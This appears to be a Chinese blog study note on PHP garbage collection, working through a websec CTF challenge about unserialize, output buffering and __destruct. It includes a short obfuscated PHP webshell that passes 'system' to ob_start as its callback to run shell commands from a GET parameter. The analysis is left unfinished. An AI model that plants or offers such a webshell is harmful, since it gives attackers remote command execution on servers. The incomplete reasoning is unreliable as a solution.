php的GC机制

题目

websec的一道题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php 
ini_set('display_errors', 1);
error_reporting(E_ALL);

include 'flag.php'; //defines $flag

class B {
function __destruct() {
global $flag;
echo $flag;
}
}
if (isset($_POST['payload'])) {
ob_start();
$a = unserialize($_POST['payload']);
if ($a === False) {
ob_end_clean();
}
throw new Exception('Something tragic happened');
}
?>

下面来进行分析

ob_start

直接看php官方文档:

它的第一个参数可以为一个函数:

由于可以自定义output_callback,那么可以以此构造一个使用ob_start的马,当它调用ob_end_flush时,它会将输出到缓冲区的内容作为参数传到这个函数中:

1
2
3
4
5
6
7
<?php
highlight_file(__FILE__);
$cmd = 'sy' . 'stem';
ob_start($cmd);
echo "$_GET[a]";
ob_end_flush();
?>

回到这个题目,反序列化我们的payload后,如果反序列化失败,则清空缓冲区的内容,并且会抛出异常,如果反序列化成功,则也会抛出异常;一旦抛出异常,那么还没等到class B的对象销毁便会退出程序,这样便不能使__destruct调用了;

如果我们拿class B正常构造序列化对象,反序列化时,当这个对象被销毁时,触发__destruct输出$flag,但由于是在ob_start之后,那么其输出的内容不会显示到浏览器;

但总的来说,要想拿到flag,就必须创建一个class B的对象并使其销毁,而主要的关注点就是销毁的时机

额,还是不理解,先搁着吧。

https://ctftime.org/task/7404

https://zhuanlan.zhihu.com/p/98612064